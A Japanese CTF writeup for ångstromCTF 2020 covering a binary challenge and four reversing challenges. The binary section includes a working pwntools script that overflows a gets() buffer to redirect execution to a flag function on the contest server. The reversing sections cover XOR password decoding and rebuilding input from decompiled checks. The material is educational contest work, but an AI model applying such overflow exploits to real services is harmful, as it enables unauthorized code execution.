2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFのBinary, Rev分野のwriteupです。CTF Timesはこちら。
他の分野のwriteup, 戦績はこちら。
[Binary] No Canary
Agriculture is the most healthful, most useful and most noble employment of man.
Can you call the flag function in this program (source)? Try it out on the shell server at
/problems/2020/no_canary
or by connecting withnc shell.actf.co 20700
.
Hint
What's dangerous about the gets function?
no_canary
という名前の実行ファイルと、下記のno_canary.c
が配布されます。
#include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Ahhhh, what a beautiful morning on the farm!\n"); puts(" _.-^-._ .--."); puts(" .-' _ '-. |__|"); puts(" / |_| \\| |"); puts(" / \\ |"); puts(" /| _____ |\\ |"); puts(" | |==|==| | |"); puts(" | |--|--| | |"); puts(" | |==|==| | |"); puts("^^^^^^^^^^^^^^^^^^^^^^^^\n"); puts("Wait, what? It's already noon!"); puts("Why didn't my canary wake me up?"); puts("Well, sorry if I kept you waiting."); printf("What's your name? "); char name[20]; gets(name); printf("Nice to meet you, %s!\n", name); }
flag()
関数を読み出すことができれば、flag.txt
を表示してくれるみたい。
gets(name);
の部分にBufferOverflowの脆弱性があるので、ここにflag()
のアドレスを突っ込んで呼び出してもらいます。
まずflag()
関数のアドレスを調べます。※コマンドは OS X 仕様。
$ gobjdump -d no_canary | grep flag 0000000000401186 <flag>:
radare2で解析したところ、name
はvar int local_20h @ rbp-0x20
の部分に格納されるらしい。ので、+8した0x28
がbuffer。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'shell.actf.co' port = 20700 flag_addr = 0x00401186 buffer = 0x28 e = ELF('./no_canary') def send_attack_name(attack): r = remote(host, port) r.recvuntil(b"What's your name? ") r.sendline(attack) res = r.recvall() print(res) r.close() attack = b'a'*buffer + p64(flag_addr) print(attack) send_attack_name(attack)
実行結果
$ python solve.py [*] '***/angstrtomctf2020/binary/No Canary/no_canary' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x11@\x00\x00\x00\x00\x00' [+] Opening connection to shell.actf.co on port 20700: Done [+] Recieving all data: Done (124B) [*] Closed connection to shell.actf.co port 20700 b'Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x11@!\nactf{that_gosh_darn_canary_got_me_pwned!}\nSegmentation fault\n'
[Rev] Revving Up
Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at
/problems/2020/revving_up
on the shell server, which you can access via the "shell" link at the top of the site.
実行ファイルrevving_up
が配布されます。
shell server 上で実行してみるとこんな感じ。
$ ./revving_up Congratulations on running the binary! Now there are a few more things to tend to. Please type "give flag" (without the quotes). give flag Good job! Now run the program with a command line argument of "banana" and you'll be done!
途中でgive flag
を入れただけ。
アドバイスの通り、banana
を引数にして実行するとflagが出ました。
$ ./revving_up banana Congratulations on running the binary! Now there are a few more things to tend to. Please type "give flag" (without the quotes). give flag Good job! Well I think it's about time you got the flag! actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
[Rev] Windows of Opportunity
Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the "superior" operating system.
Alternatively, find it at
/problems/2020/windows_lives_matter/
on the shell server (even though you won't actually be able to run it from the shell server).
windows_of_opportunity.exe
が配布されます。windows用のチャレンジのようです。shell server上に配置してあると書いてありますが、実行できないんじゃなくて私が見たときはpathもなかった。
win環境めんどいからstrings
コマンドで出ないかなーって思ったら出ちゃいました。
$ strings windows_of_opportunity.exe | grep actf bactf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
[Rev] Taking Off
So you started revving up, but is it enough to take off? Find the problem in
/problems/2020/taking_off/
in the shell server.
実行ファイルtaking_off
が配布されます。
ヒントにもあったので、ghidraでdecompileしてもらいました。
いつものごとく、decompile結果の変数を読みやすく置換しています。
undefined8 main(int iParm1, long lParm2) { int invalid; undefined8 retCode; // 0:success, 1:failed size_t password_len; uint num1; uint num2; uint num3; int i; int i_password_len; char *newline_idx; byte input_password [136]; puts("So you figured out how to provide input and command line arguments."); puts("But can you figure out what input to provide?"); if (iParm1 == 5) { string_to_int(*(undefined8 *)(lParm2 + 8),&num1,&num1); // 8 string_to_int(*(undefined8 *)(lParm2 + 0x10),&num2,&num2); // 16 string_to_int(*(undefined8 *)(lParm2 + 0x18),&num3,&num3); // 24 invalid = is_invalid((ulong)num1); // 0 <= num1 <= 9 なら 0 if (invalid == 0) { invalid = is_invalid((ulong)num2); // 0 <= num2 <= 9 なら 0 if (invalid == 0) { invalid = is_invalid((ulong)num3); // 0 <= num3 <= 9 なら 0 if ((invalid == 0) && (num3 + num2 * 100 + num1 * 10 == 0x3a4)) { // 0x3a4 = 932 invalid = strcmp(*(char **)(lParm2 + 0x20),"chicken"); // 32 if (invalid == 0) { puts("Well, you found the arguments, but what\'s the password?"); fgets((char *)input_password,0x80,stdin); newline_idx = strchr((char *)input_password,10); if (newline_idx != (char *)0x0) { *newline_idx = '\0'; } password_len = (int)strlen((char *)input_password); i = 0; while (i <= password_len) { if ((input_password[(long)i] ^ 0x2a) != desired[(long)i]) { puts("I\'m sure it\'s just a typo. Try again."); retCode = 1; goto LAB_EXIT; } i = i + 1; } puts("Good job! You\'re ready to move on to bigger and badder rev!"); print_flag(); retCode = 0; goto LAB_EXIT; } } } } puts("Don\'t try to guess the arguments, it won\'t work."); retCode = 1; } else { puts("Make sure you have the correct amount of command line arguments!"); retCode = 1; } LAB_EXIT: return retCode; } undefined8 is_invalid(int iParm1) { undefined8 retCode; // 0:success, 1:failed if ((iParm1 < 0) || (9 < iParm1)) { retCode = 1; } else { retCode = 0; } return retCode; }
desiredの配列↓
5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a
実行時に与えるパラメーターを考えなさいとのこと。
if (iParm1 == 5) {
より、パラメータの数iParam1
は5
。
また、
string_to_int(*(undefined8 *)(lParm2 + 8),&num1,&num1); string_to_int(*(undefined8 *)(lParm2 + 0x10),&num2,&num2); string_to_int(*(undefined8 *)(lParm2 + 0x18),&num3,&num3); ... if ((iVar1 == 0) && (num3 + num2 * 100 + num1 * 10 == 0x3a4)) { iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");
より、
num1 = 3 num2 = 9 num3 = 2
その後にchicken
が続きます。試してみましょう。
$ ./taking_off 3 9 2 chicken So you figured out how to provide input and command line arguments. But can you figure out what input to provide? Well, you found the arguments, but what's the password?
お、いい感じ!進んでます。
if ((input_password[(long)i] ^ 0x2a) != desired[(long)i]) {
この行より、desired
の配列を0x2a
とxorしたのがpasswordのようです。
desired = "5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a" password = '' for d in desired.split(' '): password += chr(int(d,16) ^ 0x2a) print(password)
実行結果
$ python solve.py please give flag
よし。パスワードもわかったので、shell server上で実行します。
$ ./taking_off 3 9 2 chicken So you figured out how to provide input and command line arguments. But can you figure out what input to provide? Well, you found the arguments, but what's the password? please give flag Good job! You're ready to move on to bigger and badder rev! actf{th3y_gr0w_up_s0_f4st}
٩(๑❛ᴗ❛๑)尸
[Rev] Autorev, Assemble!
Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag?
Find it on the shell server at
/problems/2020/autorev_assemble/
or over tcp atnc shell.actf.co 20203
.
Hint
Don't do this by hand.
実行ファイルautorev_assemble
が配布されます。
指定のホストにつないでみると、
$ nc shell.actf.co 20203 PROBLEM CREATION MODE: ON VISUAL BASIC GUI: ON HACKERMAN: ON HOTEL: TRIVAGO INPUT: ? YOUR SKILL: INSUFFICIENT
最初は何も出てきませんが、何か入力してEnterを押すと、上記のような情報が出てきて接続が切れます。
ghidraでdecompileすると、こんなmain関数が。
undefined8 main(void) { int iVar1; puts("PROBLEM CREATION MODE: ON"); puts("VISUAL BASIC GUI: ON"); puts("HACKERMAN: ON"); puts("HOTEL: TRIVAGO"); puts("INPUT: ?"); fgets(z,0x100,stdin); iVar1 = f992(z); if (((((((((iVar1 != 0) && (iVar1 = f268(z), iVar1 != 0)) && (iVar1 = f723(z), iVar1 != 0)) && ((iVar1 = f611(z), iVar1 != 0 && (iVar1 = f985(z), iVar1 != 0)))) && ((iVar1 = f45(z), iVar1 != 0 && ((iVar1 = f189(z), iVar1 != 0 && (iVar1 = f362(z), iVar1 != 0)))))) && ((iVar1 = f857(z), iVar1 != 0 && ((((iVar1 = f650(z), iVar1 != 0 && (iVar1 = f272(z), iVar1 != 0)) && (中略) ((iVar1 = f143(z), iVar1 != 0 && ((iVar1 = f405(z), iVar1 != 0 && (iVar1 = f502(z), iVar1 != 0)))))))))) && (iVar1 = f505(z), iVar1 != 0)) && (((iVar1 = f123(z), iVar1 != 0 && (iVar1 = f543(z), iVar1 != 0)) && (iVar1 = f718(z), iVar1 != 0)))) && ((((iVar1 = f460(z), iVar1 != 0 && (iVar1 = f799(z), iVar1 != 0)) && ((iVar1 = f387(z), iVar1 != 0 && ((iVar1 = f539(z), iVar1 != 0 && (iVar1 = f684(z), iVar1 != 0)))))) && ((iVar1 = f140(z), iVar1 != 0 && (((((iVar1 = f597(z), iVar1 != 0 && (iVar1 = f289(z), iVar1 != 0)) && (iVar1 = f570(z), iVar1 != 0)) && ((iVar1 = f717(z), iVar1 != 0 && (iVar1 = f47(z), iVar1 != 0)))) && (((iVar1 = f365(z), iVar1 != 0 && ((iVar1 = f626(z), iVar1 != 0 && (iVar1 = f923(z), iVar1 != 0)))) && ((iVar1 = f372(z), iVar1 != 0 && ((iVar1 = f906(z), iVar1 != 0 && (iVar1 = f915(z), iVar1 != 0)))))))))))))))) { puts("CHALLENGE: SOLVED"); return 0; } puts("YOUR SKILL: INSUFFICIENT"); return 0; }
f***()
の関数は、それぞれ定義があります。
HintにDon't do this by hand.
とあるけど…。
ざっと見た感じ、それぞれの条件式は下記のように単純で、一つずつ丁寧に紐解いていけば答えが出てきそう。全部で200個。手動で出来なくもないぞ…。どうする…?
ulong f97(long lParm1) { return (ulong)(*(char *)(lParm1 + 0xd) == 'g'); }
この関数だと、0xd
番目の文字がg
ということがわかる。
結局、考えたりスクリプト書くより、200個 & ghidraで見やすくなってるなら手動のほうが早そう、ということで手動で関数を一つずつ確認してメモを取っていった。こちらメモ。
f***
などの関数番号, index(hex), 文字、の順番。
992, 62, 0 268, b9, i 723, 4b, c 611, 55, e 985, 5, c 45, 4, k 189, 46, I 362, 9, n 857, 3c, g 650, 3, c 272, 6, h 759, 52, h 97, d, g 197, 2, o (中略) 140, 6a, 0 597, 6e, m 289, bf, - 570, 7b, _ 717, c7, . 47, 78, y 365, c0, b 626, b5, f 923, 7d, 1 372, c4, a 906, 8e, b 915, a2, a
これを下記のスクリプトにかけると、flagが出てきました。
#!/usr/bin/env python2 # -*- coding:utf-8 -*- with open('memo.txt', 'r') as f: data = f.readlines() flag = ['*'] * 200 for d in data: idx, c = d.strip().split(', ')[1:] if c == '-': c = ' ' flag[int(idx, 16)] = c print(''.join(flag))
実行結果
$ python solve,py Blockchain*big data solutions now with added machine learning. Enjoy! I sincerely hope you actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed} instead of doing it by hand.
一文字欠けちゃったけど、flagの箇所じゃなかったのでセーフ。
wrote a program to help you with this instead of doing it by hand がflagのメッセージ。うん、プログラム一応書いたし!